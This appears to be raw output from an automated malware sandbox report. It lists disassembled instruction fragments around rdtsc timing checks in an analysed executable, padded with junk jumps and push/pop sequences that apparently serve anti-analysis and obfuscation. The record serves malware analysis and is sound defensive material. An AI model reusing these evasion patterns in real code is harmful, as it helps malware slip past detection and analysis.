Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 80EB61 second address: 80EB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 80EB69 second address: 80EB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA3EC8736E1h 0x00000009 jmp 00007FA3EC8736E2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 812904 second address: 812921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA3EC7880C5h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 812921 second address: 81292D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FA3EC8736D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 81292D second address: 812933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 812933 second address: 812938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 812938 second address: 812940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 812DC8 second address: 812DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 812F59 second address: 812F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 812F5F second address: 812F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 812F63 second address: 812F83 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA3EC7880B6h 0x00000008 jns 00007FA3EC7880B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA3EC7880BCh 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 813DE1 second address: 813DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 81731D second address: 81733D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 81733D second address: 817341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 832A90 second address: 832AB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007FA3EC7880BAh 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 72D322 second address: 72D327 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 837972 second address: 837976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 837976 second address: 83797C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 83797C second address: 837987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 83781F second address: 837829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 838F23 second address: 838F57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FA3EC7880CCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 84BB19 second address: 84BB37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA3EC8736E8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 84BB37 second address: 84BB3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 84BDBA second address: 84BDC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 84BDC0 second address: 84BDC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 84BDC4 second address: 84BDF0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA3EC8736D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop esi 0x00000011 jnc 00007FA3EC8736D8h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA3EC8736DFh 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 84C4C0 second address: 84C4FB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jc 00007FA3EC7880B6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FA3EC7880C9h 0x0000001a jmp 00007FA3EC7880BBh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 84C4FB second address: 84C519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FA3EC8736E9h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007FA3EC8736E1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 84C660 second address: 84C664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 84C664 second address: 84C668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 84E274 second address: 84E278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 85256A second address: 85256E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 8525F8 second address: 8525FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 8525FE second address: 85265B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jbe 00007FA3EC8736DAh 0x0000000e push edx 0x0000000f mov dh, 9Fh 0x00000011 pop edx 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FA3EC8736D8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D3469h], ecx 0x00000034 mov dword ptr [ebp+122D3329h], ebx 0x0000003a push 5D939F3Bh 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FA3EC8736E6h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 85265B second address: 85266B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 853F03 second address: 853F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 853F0A second address: 853F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 855988 second address: 855992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA3EC8736D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 855992 second address: 8559AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BDh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 8559AB second address: 8559AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 778AFD second address: 778B02 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 778E7C second address: 778E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FA3EC8736D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D2045C second address: 4D204B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA3EC7880C8h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FA3EC7880BBh 0x0000000f jmp 00007FA3EC7880C3h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c call 00007FA3EC7880C5h 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D204B5 second address: 4D204E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ah, BEh 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA3EC8736E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D204E6 second address: 4D20550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FA3EC7880C6h 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 pushad 0x00000014 mov dx, si 0x00000017 pushad 0x00000018 mov esi, 043EC37Fh 0x0000001d pushfd 0x0000001e jmp 00007FA3EC7880C4h 0x00000023 sub eax, 1A4ACB68h 0x00000029 jmp 00007FA3EC7880BBh 0x0000002e popfd 0x0000002f popad 0x00000030 popad 0x00000031 mov ecx, dword ptr [ebp+08h] 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov cx, dx 0x0000003a movsx ebx, si 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D20550 second address: 4D20556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D20556 second address: 4D2055A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D20571 second address: 4D2058B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, 2A09h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA3EC8736DBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50631 second address: 4D50657 instructions: 0x00000000 rdtsc 0x00000002 mov ah, 90h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movsx edi, si 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA3EC7880C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50657 second address: 4D50666 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50666 second address: 4D5068A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D5068A second address: 4D50690 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50690 second address: 4D50696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50696 second address: 4D5069A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D5069A second address: 4D506F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FA3EC7880C9h 0x00000010 sbb ecx, 198EE3C6h 0x00000016 jmp 00007FA3EC7880C1h 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e pushfd 0x0000001f jmp 00007FA3EC7880BEh 0x00000024 add ch, 00000068h 0x00000027 jmp 00007FA3EC7880BBh 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D506F6 second address: 4D507CF instructions: 0x00000000 rdtsc 0x00000002 mov ebx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ecx 0x00000008 jmp 00007FA3EC8736E2h 0x0000000d xchg eax, esi 0x0000000e pushad 0x0000000f mov esi, 44B8EC9Dh 0x00000014 call 00007FA3EC8736DAh 0x00000019 pushfd 0x0000001a jmp 00007FA3EC8736E2h 0x0000001f or ax, 6128h 0x00000024 jmp 00007FA3EC8736DBh 0x00000029 popfd 0x0000002a pop eax 0x0000002b popad 0x0000002c push eax 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FA3EC8736E4h 0x00000034 add ax, 9388h 0x00000039 jmp 00007FA3EC8736DBh 0x0000003e popfd 0x0000003f mov di, si 0x00000042 popad 0x00000043 xchg eax, esi 0x00000044 jmp 00007FA3EC8736E2h 0x00000049 lea eax, dword ptr [ebp-04h] 0x0000004c pushad 0x0000004d call 00007FA3EC8736DEh 0x00000052 mov ch, FFh 0x00000054 pop edx 0x00000055 pushfd 0x00000056 jmp 00007FA3EC8736DCh 0x0000005b jmp 00007FA3EC8736E5h 0x00000060 popfd 0x00000061 popad 0x00000062 nop 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007FA3EC8736DDh 0x0000006a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D507CF second address: 4D507D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D507D5 second address: 4D507E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D507E4 second address: 4D507E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D507E8 second address: 4D507EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D507EC second address: 4D507F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D507F2 second address: 4D5080B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA3EC8736DEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D5080B second address: 4D50811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50811 second address: 4D50815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50815 second address: 4D50819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50890 second address: 4D50896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50896 second address: 4D508A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D508A6 second address: 4D508AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D508AA second address: 4D508BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D508BA second address: 4D508C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D508C0 second address: 4D508C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D508C4 second address: 4D508F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FA3EC873744h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA3EC8736E8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D508F9 second address: 4D50908 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50908 second address: 4D50920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA3EC8736E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50920 second address: 4D50924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50939 second address: 4D5093F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D5093F second address: 4D50943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50943 second address: 4D509D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a pushad 0x0000000b mov ebx, esi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FA3EC8736DEh 0x00000014 add cl, 00000038h 0x00000017 jmp 00007FA3EC8736DBh 0x0000001c popfd 0x0000001d mov eax, 29397D6Fh 0x00000022 popad 0x00000023 popad 0x00000024 pop esi 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FA3EC8736E0h 0x0000002c or ecx, 452C8598h 0x00000032 jmp 00007FA3EC8736DBh 0x00000037 popfd 0x00000038 pushfd 0x00000039 jmp 00007FA3EC8736E8h 0x0000003e sbb ch, FFFFFFF8h 0x00000041 jmp 00007FA3EC8736DBh 0x00000046 popfd 0x00000047 popad 0x00000048 leave 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FA3EC8736E0h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D509D9 second address: 4D509DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D509DD second address: 4D509E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D509E3 second address: 4D40030 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 xor ebx, ebx 0x00000012 cmp eax, 00000000h 0x00000015 je 00007FA3EC78821Ah 0x0000001b mov dword ptr [esp], 0000000Dh 0x00000022 call 00007FA3F0F24251h 0x00000027 mov edi, edi 0x00000029 jmp 00007FA3EC7880C4h 0x0000002e xchg eax, ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FA3EC7880C7h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40030 second address: 4D4006F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 94h 0x00000005 call 00007FA3EC8736E0h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov dx, cx 0x00000013 movzx eax, dx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov bh, 34h 0x0000001b mov dh, cl 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA3EC8736E2h 0x00000027 rdtsc
